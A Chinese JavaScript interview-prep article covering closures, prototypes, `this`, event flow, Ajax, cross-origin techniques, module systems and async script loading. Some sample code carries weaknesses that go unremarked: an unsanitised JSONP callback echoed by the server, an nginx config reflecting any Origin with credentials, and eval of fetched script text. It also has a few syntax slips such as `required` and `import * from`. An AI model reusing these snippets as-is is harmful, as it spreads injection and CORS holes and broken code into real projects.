JavaScript相关

256 阅读55分钟

1. 闭包

  • 闭包就是能够读取其他函数内部变量的函数

  • 闭包是指有权访问另一个函数作用域中变量的函数,创建闭包的最常见的方式就是在一个函数内创建另一个函数,通过另一个函数访问这个函数的局部变量,利用闭包可以突破作用链域

  • 闭包的特性:

    • 函数内再嵌套函数
    • 内部函数可以引用外层的参数和变量
    • 参数和变量不会被垃圾回收机制回收

说说你对闭包的理解

  • 使用闭包主要是为了设计私有的方法和变量。闭包的优点是可以避免全局变量的污染,缺点是闭包会常驻内存,会增大内存使用量,使用不当很容易造成内存泄露。在js中,函数即闭包,只有函数才会产生作用域的概念
  • 闭包 的最大用处有两个,一个是可以读取函数内部的变量,另一个就是让这些变量始终保持在内存中
  • 闭包的另一个用处,是封装对象的私有属性和私有方法
  • 好处:能够实现封装和缓存等;
  • 坏处:就是消耗内存、不正当使用会造成内存溢出的问题

使用闭包的注意点

  • 由于闭包会使得函数中的变量都被保存在内存中,内存消耗很大,所以不能滥用闭包,否则会造成网页的性能问题,在IE中可能导致内存泄露
  • 解决方法是,在退出函数之前,将不使用的局部变量全部删除(删除方法: 1.变量设置为null或者其它值;2.使利用ES6引入的letconst关键字,你可以通过创建一个块作用域(例如,在一个函数、循环或条件语句中)来限制变量的作用范围,使其在不再需要时自然消失.)

闭包的应用场景:防抖节流

2. 对作用域链的理解

  • 作用域链是一种用于查找变量和函数的机制,它是由当前执行环境和其所有父级执行环境的变量对象组成的链式结构。当在一个执行环境中访问变量或函数时,会首先在当前执行环境的变量对象中查找,如果找不到,则会沿着作用域链向上查找,直到找到对应的变量或函数,或者达到最外层的全局对象(如window)。
  • 作用域链的创建是在函数定义时确定的,它与函数的定义位置有关。当函数被调用时,会创建一个新的执行环境,其中包含一个新的变量对象,并将其添加到作用域链的前端。这样,函数内部就可以访问其所在作用域以及其外部作用域中的变量和函数,形成了一个作用域链。

以下是一个示例,展示了作用域链的工作原理:

function outer() {
  var outerVar = 'Outer variable';

  function inner() {
    var innerVar = 'Inner variable';
    console.log(innerVar); // 内部作用域的变量
    console.log(outerVar); // 外部作用域的变量
    console.log(globalVar); // 全局作用域的变量
  }

  inner();
}

var globalVar = 'Global variable';
outer();

在上述示例中,函数inner()内部可以访问到其外部函数outer()中定义的变量outerVar,这是因为inner()的作用域链中包含了外部函数的变量对象。同样,inner()也可以访问全局作用域中的变量globalVar,因为全局作用域也在作用域链中。

通过作用域链的机制,函数可以访问外部作用域中的变量,但外部作用域不能访问函数内部的变量,这就实现了变量的封装和保护。

值得注意的是,当函数执行完毕后,其执行环境会被销毁,对应的变量对象也会被释放,因此作用域链也随之消失。这也是闭包的概念中所提到的保持变量的生命周期的特性。

总结

  • 作用域链的作用是保证执行环境里有权访问的变量和函数是有序的,作用域链的变量只能向上访问,变量访问到window对象即被终止,作用域链向下访问变量是不被允许的
  • 简单的说,作用域就是变量与函数的可访问范围,即作用域控制着变量与函数的可见性和生命周期。

3. JavaScript原型,原型链是什么? 有什么特点?

image.png

原型: JavaScript的所有对象中都包含了一个 [__proto__] 内部属性,这个属性所对应的就是该对象的原型。

原型链: 当一个对象调用的属性/方法自身不存在时,就会去自己 [__proto__] 关联的前辈 prototype 对象上去找。 如果没找到,就会去该 prototype 原型 [__proto__] 关联的前辈 prototype 去找。依次类推,直到找到属性/方法或 null 为止。从而形成了所谓的“原型链”。

原型特点: JavaScript对象是通过引用来传递的,当修改原型时,与之相关的对象也会继承这一改变.

4. 什么是事件代理

事件代理(Event Delegation),又称之为事件委托。是 JavaScript 中常用绑定事件的常用技巧。顾名思义,“事件代理”即是把原本需要绑定的事件委托给父元素,让父元素担当事件监听的职务。

原理:事件代理的原理是DOM元素的事件冒泡。 优点:使用事件代理的好处是可以提高性能,可以大量节省内存占用,减少事件注册,比如在ul上代理所有liclick事件,,避免了为每个子元素都绑定事件处理程序的麻烦

下面是一个简单的事件代理的示例代码:

<ul id="myList">
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ul>
// 使用事件代理绑定点击事件
var myList = document.getElementById('myList');
myList.addEventListener('click', function(event) {
  if (event.target.tagName === 'LI') {
    console.log('Clicked on:', event.target.textContent);
  }
});

在上述示例中,我们将点击事件绑定到父元素 myList 上,当点击子元素 li 时,事件会冒泡到父元素,父元素上的事件处理函数会捕获到事件,并根据 event.target 来判断点击的具体元素。这样就实现了对子元素点击事件的代理处理。

5. Javascript如何实现继承?

继承的本质就是原型链。

常用:构造函数与原型混合方式

function Parent() {
  this.name = 'poetry';
}

function Child() {
  this.age = 28;
}

// 使用构造函数继承
Child.prototype = new Parent();
Child.prototype.constructor = Child;

var demo = new Child();
console.log(demo.age); // 输出: 28
console.log(demo.name); // 输出: poetry
console.log(demo.constructor); // 输出: Child

其实就是根据原型链实现继承: image.png

6. 谈谈This对象的理解

  • 在全局作用域中this 指向全局对象(在浏览器环境中通常是 window 对象)。

  • 在函数中this 的值取决于函数的调用方式。

    • 如果函数是作为对象的方法调用,this 指向调用该方法的对象。
    • 如果函数是作为普通函数调用,this 指向全局对象(非严格模式下)或 undefined(严格模式下)。
    • 如果函数是通过 callapply 或 bind 方法调用,this 指向 callapply 或 bind 方法的第一个参数所指定的对象。
    • 如果函数是作为构造函数调用(使用 new 关键字),this 指向新创建的对象。
  • 在箭头函数中this 的值是继承自外部作用域的,它不会因为调用方式的改变而改变。

下面是一些示例代码,以说明 this 的不同情况:

// 全局作用域中的 this
console.log(this); // 输出: Window

// 对象方法中的 this
const obj = {
  name: 'poetry',
  sayHello: function() {
    console.log(`Hello, ${this.name}!`);
  }
};
obj.sayHello(); // 输出: Hello, poetry!

// 普通函数调用中的 this
function greeting() {
  console.log(`Hello, ${this.name}!`);
}
greeting(); // 输出: Hello, undefined (非严格模式下输出: Hello, [全局对象的某个属性值])

// 使用 call/apply/bind 改变 this
const person = {
  name: 'poetry'
};
greeting.call(person); // 输出: Hello, poetry!
greeting.apply(person); // 输出: Hello, poetry!
const boundGreeting = greeting.bind(person);
boundGreeting(); // 输出: Hello, poetry!

// 构造函数中的 this
function Person(name) {
  this.name = name;
}
const poetry = new Person('poetry');
console.log(poetry.name); // 输出: poetry

// 箭头函数中的 this
const arrowFunc = () => {
  console.log(this);
};
arrowFunc(); // 输出: Window

7. 事件模型

事件流分为三个阶段:捕获阶段、目标阶段和冒泡阶段。

  1. 捕获阶段(Capture Phase) :事件从最外层的父节点开始向下传递,直到达到目标元素的父节点。在捕获阶段,事件会经过父节点、祖父节点等,但不会触发任何事件处理程序。
  2. 目标阶段(Target Phase) :事件到达目标元素本身,触发目标元素上的事件处理程序。如果事件有多个处理程序绑定在目标元素上,它们会按照添加的顺序依次执行。
  3. 冒泡阶段(Bubble Phase) :事件从目标元素开始向上冒泡,传递到父节点,直到传递到最外层的父节点或根节点。在冒泡阶段,事件会依次触发父节点、祖父节点等的事件处理程序。

事件流的默认顺序是从目标元素的最外层父节点开始的捕获阶段,然后是目标阶段,最后是冒泡阶段。但是可以通过事件处理程序的绑定顺序来改变事件处理的执行顺序。

例如,以下代码演示了事件流的执行顺序:

<div id="outer">
  <div id="inner">
    <button id="btn">Click me</button>
  </div>
</div>    
var outer = document.getElementById('outer');
var inner = document.getElementById('inner');
var btn = document.getElementById('btn');

outer.addEventListener('click', function() {
  console.log('Outer div clicked');
}, true); // 使用捕获阶段进行事件监听

inner.addEventListener('click', function() {
  console.log('Inner div clicked');
}, false); // 使用冒泡阶段进行事件监听

btn.addEventListener('click', function() {
  console.log('Button clicked');
}, false); // 使用冒泡阶段进行事件监听

当点击按钮时,事件的执行顺序如下:

  1. 捕获阶段:触发外层div的捕获事件处理程序。
  2. 目标阶段:触发按钮的事件处理程序。
  3. 冒泡阶段:触发内层div的冒泡事件处理程序。

输出结果为:

Outer div clicked
Button clicked
Inner div clicked    

这个示例展示了事件流中捕获阶段、目标阶段和冒泡阶段的执行顺序。

可以通过addEventListener方法的第三个参数来控制事件处理函数在捕获阶段或冒泡阶段执行,true表示捕获阶段,false或不传表示冒泡阶段。

8. new操作符具体干了什么呢?

  • 创建一个空对象,并且 this 变量引用该对象,同时还继承了该函数的原型
  • 属性和方法被加入到 this 引用的对象中
  • 新创建的对象由 this 所引用,并且最后隐式的返回 this

实现一个简单的 new 方法,可以按照以下步骤进行操作:

  1. 创建一个新的空对象。
  2. 将新对象的原型链接到构造函数的原型对象。
  3. 将构造函数的作用域赋给新对象,以便在构造函数中使用 this 引用新对象。
  4. 执行构造函数,并将参数传递给构造函数。
  5. 如果构造函数没有显式返回一个对象,则返回新对象。
手写newnew的原理:
function myNew(constructor, ...args) {
  // 创建一个新的空对象
  const newObj = {};

  // 将新对象的原型链接到构造函数的原型对象
  Object.setPrototypeOf(newObj, constructor.prototype);

  // 将构造函数的作用域赋给新对象,并执行构造函数
  const result = constructor.apply(newObj, args);

  // 如果构造函数有显式返回一个对象,则返回该对象;否则返回新对象
  return typeof result === 'object' && result !== null ? result : newObj;
}   

使用上述自定义的 myNew 方法,可以实现与 new 操作符类似的效果,如下所示:

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello, my name is ' + this.name);
};

var poetry = myNew(Person, 'poetry', 25);
console.log(poetry.name); // 输出: poetry
console.log(poetry.age); // 输出: 25
poetry.sayHello(); // 输出: Hello, my name is poetry    

注意,这只是一个简化的实现,不考虑一些复杂的情况,例如原型链的继承和构造函数返回对象的情况。在实际应用中,建议使用内置的 new 操作符来创建对象实例,因为它处理了更多的细节和边界情况。

9. ajax原理

  • Ajax的原理简单来说是在用户和服务器之间加了—个中间层(AJAX引擎),通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用javascript来操作DOM而更新页面。使用户操作与服务器响应异步化。这其中最关键的一步就是从服务器获得请求数据
  • Ajax的过程只涉及JavaScriptXMLHttpRequestDOMXMLHttpRequestajax的核心机制
// 手写简易ajax
/** 1. 创建连接 **/
var xhr = null;
xhr = new XMLHttpRequest()
/** 2. 连接服务器 **/
xhr.open('get', url, true)
/** 3. 发送请求 **/
xhr.send(null);
/** 4. 接受请求 **/
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if(xhr.status == 200){
			success(xhr.responseText);
		} else { 
			/** false **/
			fail && fail(xhr.status);
		}
	}
}
// promise封装
function ajax(url) {
  const p = new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()
    xhr.open('GET', url, true)
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          resolve(
            JSON.parse(xhr.responseText)
          )
        } else if (xhr.status === 404 || xhr.status === 500) {
          reject(new Error('404 not found'))
        }
      }
    }
    xhr.send(null)
  })
  return p
}
// 测试
const url = '/data/test.json'
ajax(url)
  .then(res => console.log(res))
  .catch(err => console.error(err))

ajax 有那些优缺点?

  • 优点:

    • 通过异步模式,提升了用户体验.
    • 优化了浏览器和服务器之间的传输,减少不必要的数据往返,减少了带宽占用.
    • Ajax在客户端运行,承担了一部分本来由服务器承担的工作,减少了大用户量下的服务器负载。
    • Ajax可以实现动态不刷新(局部刷新)
  • 缺点:

    • 安全问题 AJAX暴露了与服务器交互的细节。
    • 对搜索引擎的支持比较弱。
    • 不容易调试。

10.跨域!!!!!!!!!

首先了解下浏览器的同源策略 同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSSCSRF等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源。

通过jsonp跨域;nginx代理跨域;nodejs中间件代理跨域;通过webpack代理(VUE框架); CORS(跨域资源共享); WebSocket

1. 通过jsonp跨域

jsonp的原理就是利用< script>标签没有跨域限制,通过< script>标签src属性,发送带有callback参数的GET请求,服务端将接口返回数据拼凑到callback函数中,返回给浏览器,浏览器解析执行,从而前端拿到callback函数返回的数据。

当需要跨域请求时,不使用AJAX,转而生成一个script元素去请求服务器,由于浏览器并不阻止script元素的请求,这样请求可以到达服务器。服务器拿到请求后,响应一段JS代码,这段代码实际上是一个函数调用,调用的是客户端预先生成好的函数,并把浏览器需要的数据作为参数传递到函数中,从而间接的把数据传递给客户端

缺点:只能处理get请求;通过URL携带参数容易被劫持,不安全。

优点:jsonp兼容性强,适用于所有浏览器,尤其是IE10及以下浏览器。

1.1 原生JS实现

    前端
    <script>
    var script = document.createElement('script');
    script.type = 'text/javascript';
        // 传参一个回调函数名给后端,方便后端返回时执行这个在前端定义的回调函数
    script.src = 'http://www.domain2.com:8080/login?user=admin&callback=handleCallback';
        
    document.head.appendChild(script);
    // 回调执行函数
    function handleCallback(res) {
        alert(JSON.stringify(res));
    }
    </script>     

)

     服务端返回如下(返回时即执行全局函数):
     handleCallback({"success": true, "user": "admin"}

1.2 Vue axios实现

前端ajax
$.ajax({
    url: 'http://www.domain2.com:8080/login',
    type: 'get',
    dataType: 'jsonp',  // 请求方式为jsonp
    jsonpCallback: "handleCallback",  // 自定义回调函数名
    data: {}
});

前端axios
this.$http = axios;
this.$http.jsonp('http://www.domain2.com:8080/login', {
    params: {},
    jsonp: 'handleCallback'
}).then((res) => {
    console.log(res); 
})
后端node.js代码:
var querystring = require('querystring');
var http = require('http');
var server = http.createServer();

server.on('request', function(req, res) {
    var params = querystring.parse(req.url.split('?')[1]);
    var fn = params.callback;

    // jsonp返回设置
    res.writeHead(200, { 'Content-Type': 'text/javascript' });
    res.write(fn + '(' + JSON.stringify(params) + ')');

    res.end();
});

server.listen('8080');
console.log('Server is running at port 8080...');

2. nginx代理跨域

通过 Nginx 配置反向代理,将跨域请求转发到同源接口,从而避免浏览器的同源策略限制。

配置下nginx访问路径,对于请求接口使用proxy_pass进行转发,解决跨域的问题。

实质和CORS跨域原理一样,通过配置文件设置请求响应头Access-Control-Allow-Origin…等字段。

场景一:

-- 我们前端使用的路径配置为:http://127.0.0.1:8070/(nginx配置)

图片

-- 需要向后端请求的路径为: http://192.168.1.19:8087/(项目打包配置)

 图片

此时前端向后端发送请求一定会出现跨域!!

解决方法:启动nginx服务器,将server_name设置为127.0.0.1,然后设置响应的拦截前端需要跨域的请求相应的location以拦截前端需要跨域的请求,最后将请求代理回自己需要请求的后端路径,以我的为例:

1.server
2.{
3.    listen 8001;
4.    server_name 127.0.0.1;
5. 
6.    location /api/ {
7.         proxy_pass  http://192.168.1.19:8087/;
8.         proxy_http_version 1.1; # http版本
9.         proxy_set_header Upgrade $http_upgrade; # 继承地址,这里的$http_upgrade为上面的proxy_pass
10.         proxy_set_header Connection "upgrade"; 
11.         proxy_set_header  X-Real-IP $remote_addr; # 传递的ip
12.         proxy_connect_timeout 60;
13.         proxy_send_timeout  60;
14.         proxy_read_timeout 3000;
15.    }
16.}

场景二:

server {
  listen 80;#系统访问端口
  server_name your-domain.com;#系统访问域名

  location /api {
    #反向代理 # 设置代理目标地址 
    proxy_pass http://api.example.com;
    
    # 设置允许的跨域请求头
    add_header Access-Control-Allow-Origin $http_origin;
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
    add_header Access-Control-Allow-Credentials true;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";
    
    # 处理预检请求(OPTIONS 请求)
    if ($request_method = OPTIONS) {
      return 200;
    }
  }
}   

在上面的示例中,假设你的域名是 your-domain.com,需要代理访问 api.example.com。你可以将这个配置添加到 Nginx 的配置文件中。

这个配置会将 /api 路径下的请求代理到 http://api.example.com。同时,通过添加 Access-Control-Allow-* 头部,允许跨域请求的来源、方法、头部等。

这样,当你在前端发送请求到 /api 路径时,Nginx 会将请求代理到 http://api.example.com,并在响应中添加跨域相关的头部,从而解决跨域问题。注意要根据实际情况进行配置,包括监听的端口、域名和代理的目标地址等。

3. nodejs中间件代理跨域

使用 Node.js 构建一个中间件,在服务器端代理请求,将跨域请求转发到同源接口,然后将响应返回给前端。

使用node + express + http-proxy-middleware搭建一个proxy服务器。

可以使用 http-proxy-middleware 模块来创建一个简单的代理服务器。下面是一个示例代码:

前端代码:
var xhr = new XMLHttpRequest();

// 前端开关:浏览器是否读写cookie
xhr.withCredentials = true;

// 访问http-proxy-middleware代理服务器
xhr.open('get', 'http://www.domain1.com:3000/login?user=admin', true);
xhr.send();
中间件服务器代码:
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

// 创建代理中间件
const apiProxy = createProxyMiddleware('/api', {
  target: 'http://api.example.com', // 设置代理目标地址
  changeOrigin: true, // 修改请求头中的 Origin 为目标地址
  pathRewrite: {
    '^/api': '', // 重写请求路径,去掉 '/api' 前缀
  },
  // 可选的其他配置项...
});

// 将代理中间件应用到 '/api' 路径
app.use('/api', apiProxy);

// 启动服务器
app.listen(3000, () => {
  console.log('Proxy server is running on port 3000');
});  

在上面的示例中,首先使用 express 框架创建一个服务器实例。然后,使用 http-proxy-middleware 模块创建一个代理中间件。通过配置代理中间件的 target 选项,将请求代理到目标地址 http://api.example.com

你可以通过其他可选的配置项来进行更多的定制,例如修改请求头、重写请求路径等。在这个示例中,我们将代理中间件应用到路径 /api 下,即当请求路径以 /api 开头时,会被代理到目标地址。

最后,启动服务器并监听指定的端口(这里是 3000)。

请确保你已经安装了 express 和 http-proxy-middleware 模块,并将上述代码保存为一个文件(例如 proxy-server.js)。然后通过运行 node proxy-server.js 来启动代理服务器。

现在,当你在前端发送请求到 /api 路径时,Node.js 代理服务器会将请求转发到 http://api.example.com,从而实现跨域访问。记得根据实际情况修改目标地址和端口号。

也可以使用cors插件:npm install cors

const express = require('express');
const cors = require('cors');

const app = express();

// 允许所有域名跨域访问
app.use(cors());

// 其他路由和逻辑处理...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});   

4. 通过webpack代理(VUE框架开发环境)

使用 webpack-dev-server 的代理功能可以实现在开发过程中的跨域请求。直接修改webpack.config.js配置。你可以配置 devServer 对象中的 proxy 选项来设置代理。(生产环境无效)下面是一个示例配置:

module.exports = {
  // 其他配置项...
  devServer: {
    proxy: {
      '/api': {
        target: 'http://api.example.com', // 设置代理目标地址
        pathRewrite: { '^/api': '' }, // 重写请求路径,去掉 '/api' 前缀
        changeOrigin: true, // 修改请求头中的 Origin 为目标地址
      },
    },
  },
};   

在上面的示例中,我们配置了一个代理,将以 /api 开头的请求转发到 http://api.example.com。通过 pathRewrite 选项,我们去掉了请求路径中的 /api 前缀,以符合目标地址的接口路径。

将上述配置添加到你的 webpack.config.js 文件中,然后启动 webpack-dev-server。现在,当你在前端发送以 /api 开头的请求时,webpack-dev-server 会将请求转发到目标地址,并返回响应结果。

注意,这里的配置是针对开发环境下的代理,当你构建生产环境的代码时,代理配置不会生效。

请确保你已经安装了 webpack-dev-server,并在你的 package.json 文件的 scripts 中添加启动命令,例如:

{
  "scripts": {
    "start": "webpack-dev-server --open"
  }
}  

运行 npm start 或 yarn start 来启动 webpack-dev-server

这样,通过配置 webpack-dev-server 的代理,你就可以在开发过程中实现跨域请求。记得根据实际情况修改目标地址和请求路径。

5. CORS(跨域资源共享)(后端)

在CORS中,浏览器把ajax发起的请求分为简单请求和非简单请求,分别对两种请求进行处理,再将ajax请求发往服务器。在服务端设置响应头部,允许特定的域名或所有域名访问该资源。可以通过在响应头部中设置 Access-Control-Allow-Origin 字段来指定允许访问的域名。

缺点:

  • 设置具体地址,有局限性
  • 设置多源(*)就不能允许携带cookie了

5.1. 简单请求

简单请求就是满足以下条件的:

请求方式为这几种: GET,POST,HEAD

HTTP头信息不超出以下几种: Accept Accept-Language Content-Language Last-Event-ID

content-type只限于三种:text/plain,multipart/form-data,application/x-www-form-urlencoded

对于简单请求,浏览器直接发出CORS请求,在头信息中增加一个字段:Origin,表示请求源域名。

例子: Accept:/

Accept-Encoding:gzip, deflate, br

Accept-Language:zh-CN,zh;q=0.8

Connection:keep-alive

Host:localhost:3001

Origin:http://localhost:3000

Origin:http://localhost:3000 字段告诉服务器请求源是 http://localhost:3000,服务器就可以做出相应响应。 如果服务器发现Oringin字段的源不在接受范围,就会发送一个正常HTTP回应,浏览器发现这个回应的头信息中没有包含Accsess-Control-Allow-Origin字段,就抛出一个错误,被XMLHttpRequest的onerror捕获,即跨域问题出现了。

好了,知道报错原因,我们就可以从以下方法解决跨域问题了: 概括为一句话:在服务器设置接受的源信息。

实例

客户端请求:
var xhr = new XMLHttpRequest();
var url = 'http://localhost:3000';
xhr.open('GET',url);
xhr.send(null);
xhr.onreadystatechange = () => {
  if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // 如果请求成功
      text.innerHTML = xhr.response;
  }
}
服务器设置(例子用的express):
var express = require('express');
var test = express();
test.get('/',(req,res) => {
  res.set('Access-Control-Allow-Origin','http://localhost:3000');
  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT');
  res.header('Access-Control-Allow-Headers', 'X-Custom-Header');
  res.header('Access-Control-Allow-Credentials', 'true');
  res.send("hello CORS.");
})

CORS请求设置的响应头字段,都以 Access-Control-开头:

1)Access-Control-Allow-Origin:必选 它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

// 允许所有源进行跨域请求
res.header("Access-Control-Allow-Origin", "*");
// 或者 允许指定源进行跨域请求
res.header("Access-Control-Allow-Origin", "http://localhost:3000");

2)Access-Control-Allow-Methods:可选 列举出服务器接受的请求方式。

3)Access-Control-Allow-Credentials:可选 它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。

res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");

4)Access-Control-Expose-Headers:可选 CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader(‘FooBar’)可以返回FooBar字段的值。

res.header("Access-Control-Allow-Headers", "Content-Type,Content-Length, Authorization, Accept,X-Requested-With");

5.2. 非简单请求

非简单请求是那种对服务器有特殊要求的请求,比如请求方法是PUT或DELETE,或者Content-Type字段的类型是application/json。非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight)。

5.2.1. 预检请求 浏览器发出预检"请求用的请求方法是OPTIONS,表示这个请求是用来询问的。请求头信息里面,关键字段是Origin,表示请求来自哪个源。除了Origin字段,"预检"请求的头信息包括两个特殊字段

OPTIONS /cors HTTP/1.1 Origin: api.bob.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-Custom-Header Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0..

1)Access-Control-Request-Method:必选 用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT。

2)Access-Control-Request-Headers:可选 该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header。

5.2.2. 预检请求的回应(服务端设置)

服务器收到"预检"请求以后,检查了Origin、Access-Control-Request-Method和Access-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。

1)Access-Control-Allow-Origin:必选

2)Access-Control-Allow-Methods:必选 它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次"预检"请求。

3)Access-Control-Allow-Headers 如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。

4)Access-Control-Allow-Credentials:可选 该字段与简单请求时的含义相同。

5)Access-Control-Max-Age:可选 用来指定本次预检请求的有效期,单位为秒。

CORS跨域示例

客户端发送PUT请求:
var xhr = new XMLHttpRequest();
var url = 'http://localhost:3000';
xhr.open('PUT',url);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();
xhr.onreadystatechange = () => {
  if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
    text1.innerHTML = xhr.response;
  }
}

非简单请求例子中,我设置了特殊头信息“X-Custom-Header”,告知服务器接受这个参数信息。

在服务器设置接受信息:
var express = require('express');
var test = express();
var responsePort = 3001;//服务器端口
test.all('*', (req, res) => {
  res.set('Access-Control-Allow-Origin', 'http://localhost:3000');
  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT');
  res.header('Access-Control-Allow-Headers', 'X-Custom-Header');
  res.header('Access-Control-Allow-Credentials', 'true');
  res.send("hello CORS.");
})

至此,对于两种请求方式,都可以实现跨域访问了。

6. WebSocket

使用 WebSocket 协议进行通信,WebSocket 不受同源策略限制,因此可以在不同域之间进行双向通信。

示例代码(JavaScript):

const socket = new WebSocket('ws://example.com/socket');

socket.onopen = () => {
  console.log('WebSocket connection established.');
  // 发送数据
  socket.send('Hello, server!');
};

socket.onmessage = (event) => {
  console.log('Received message from server:', event.data);
};

socket.onclose = () => {
  console.log('WebSocket connection closed.');
};    

11.模块化开发

一. 什么是模块化?

模块化就是把系统分成各个独立的部分,每个部分单独实现功能,将系统分割成多个可独立的功能部分。

二. 模块化的好处

  1. 解决命名冲突:比如全局变量同名的问题,使用函数闭包可以解决变量冲突的问题,但是使用不了其他文件定义的变量
  2. 提供复用性
  3. 提高代码可维护性

三. 模块化的体现

模块化有两个核心:导出和导入

  1. CommonJS:(适用于 Node.js服务端 环境。)
  • CommonJS是一种用于服务器端的模块定义规范,Node.js采用了这个规范。
  • 它使用同步加载模块的方式,即只有模块加载完成后才能执行后续操作。因为在服务器端文件的读取是同步的,不会影响性能。
//导出
module.exports = {
    flag:true,
    test(a, b){
       return a + b
    },
    demo(a, b){
        return a + b
    }
}
---------------------------------------------------
//导入
let { test , demo } = required('module')

2. ES6 Modules:(vue)

//导出
//aaa.js
let name ='jjj'
let age = 18
let height = 1.22
function sum(sum1,sum2){
        return sum1+sum2
}
 
//导出方式一
export {name,age,height,sum} 
 
//导出方式二
export var num1 = 1000
//在定义的时候直接导出
 
//导出函数/类
export function mul(num1,num2){
    return num1 + num2
}

//只能默认一个
const address = 'ss'
export default address 
-------------------------------------------------
//导入
//mmm.js

import { flag, sum } from "./aaa.js"  //导入部分
 
import * from "./aaa.js"              //统一全部导入
console.log(aaa.flag);

3. AMD规范(requirejs):浏览器端模块化开发)

AMD是一种用于浏览器端的模块定义规范。全称是Asynchronous Module Definition,即异步模块加载机制。完整描述了模块的定义,依赖关系,引用关系以及加载机制。

AMD的核心是预加载,先对依赖的全部文件进行加载,加载完了再进行处理。 适合在浏览器环境中异步加载模块。可以并行加载多个模块。 也可以按需加载。

RequireJS解决了两个问题:

  • 多个js文件可能有依赖关系,被依赖的文件需要早于依赖它的文件加载到浏览器
  • js加载的时候浏览器会停止页面渲染,加载文件越多,页面失去响应时间越长

实现: 使用 define 定义模块,通过异步加载模块 和 按需加载模块的场景。

//导出
定义没有依赖的模块
        define(function(){
            return moudle//模块
        })
定义有依赖的模块
        define([
            'require',
            'dependency'
        ], function(require, factory) {
            'use strict';
            
        });
//导入
AMD也采用require()语句加载模块,但是不同于CommonJS,它要求两个参数:

require([module], callback);
第一个参数[module],是一个数组,里面的成员就是要加载的模块;第二个参数callback,则是加载成功之后的回调函数。如果将前面的代码改写成AMD形式,就是下面这样:


require(['math'], function (math) {
  math.add(2, 3);
});
math.add()与math模块加载不是同步的,浏览器不会发生假死。所以很显然,AMD比较适合浏览器环境。

12. 异步加载JS的方式有哪些?

1. 设置<script>属性 async="async"

  • 通过将async属性设置为"async",脚本将异步加载并立即执行,不会阻塞页面的解析和渲染。
  • 脚本加载完成后,将在页面中的任何位置立即执行。
<script src="script.js" async="async"></script>    

2. 动态创建 script DOM

  • 使用 JavaScript 动态创建 <script> 元素,并将其添加到文档中。
  • 通过设置 src 属性指定脚本的 URL,异步加载脚本。
var script = document.createElement('script');
script.src = 'script.js';
document.head.appendChild(script);

3. XmlHttpRequest 脚本注入:

  • 使用 XmlHttpRequest 对象加载脚本内容,并将其注入到页面中。
  • 通过异步请求获取脚本内容后,使用 eval() 函数执行脚本。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onreadystatechange = function() {
 if (xhr.readyState === 4 && xhr.status === 200) {
   eval(xhr.responseText);
 }
};
xhr.send();    

4. Deferred Scripts(延迟脚本):

  • 使用 <script> 元素的 defer 属性可以将脚本延迟到文档解析完成后再执行。
  • 延迟脚本会按照它们在文档中出现的顺序执行,但在 DOMContentLoaded 事件触发之前执行。
<script src="script.js" defer></script>    

5. Dynamic Import(动态导入):

  • 使用动态导入语法 import() 可以异步加载 JavaScript 模块。
  • 这种方式返回一个 Promise 对象,可以通过 then() 方法处理模块加载完成后的逻辑。
import('module.js')
 .then(module => {
   // 执行模块加载完成后的逻辑
 })
 .catch(error => {
   // 处理加载失败的情况
 });

6. 异步加载库 LABjs

  • LABjs 是一个用于异步加载 JavaScript 的库,可以管理和控制加载顺序。
  • 它提供了简洁的 API 来定义和加载依赖关系,以及控制脚本加载的时机。
$LAB
 .script('script1.js')
 .wait()
 .script('script2.js');

7. 模块加载器 Sea.js

  • Sea.js 是一个用于 Web 端模块化开发的加载器,可以异步加载和管理模块依赖关系。
  • 它支持异步加载 JavaScript 模块,并在模块加载完成后执行回调函数。
seajs.use(['module1', 'module2'], function(module1, module2) {
 // 执行依赖模块加载完成后的逻辑
});

13. 那些操作会造成内存泄漏?

JavaScript 内存泄露指对象在不需要使用它时仍然存在,导致占用的内存不能使用或回收

  • 未使用 var 声明的全局变量
  • 闭包函数(Closures)
  • 循环引用(两个对象相互引用)
  • 控制台日志(console.log)
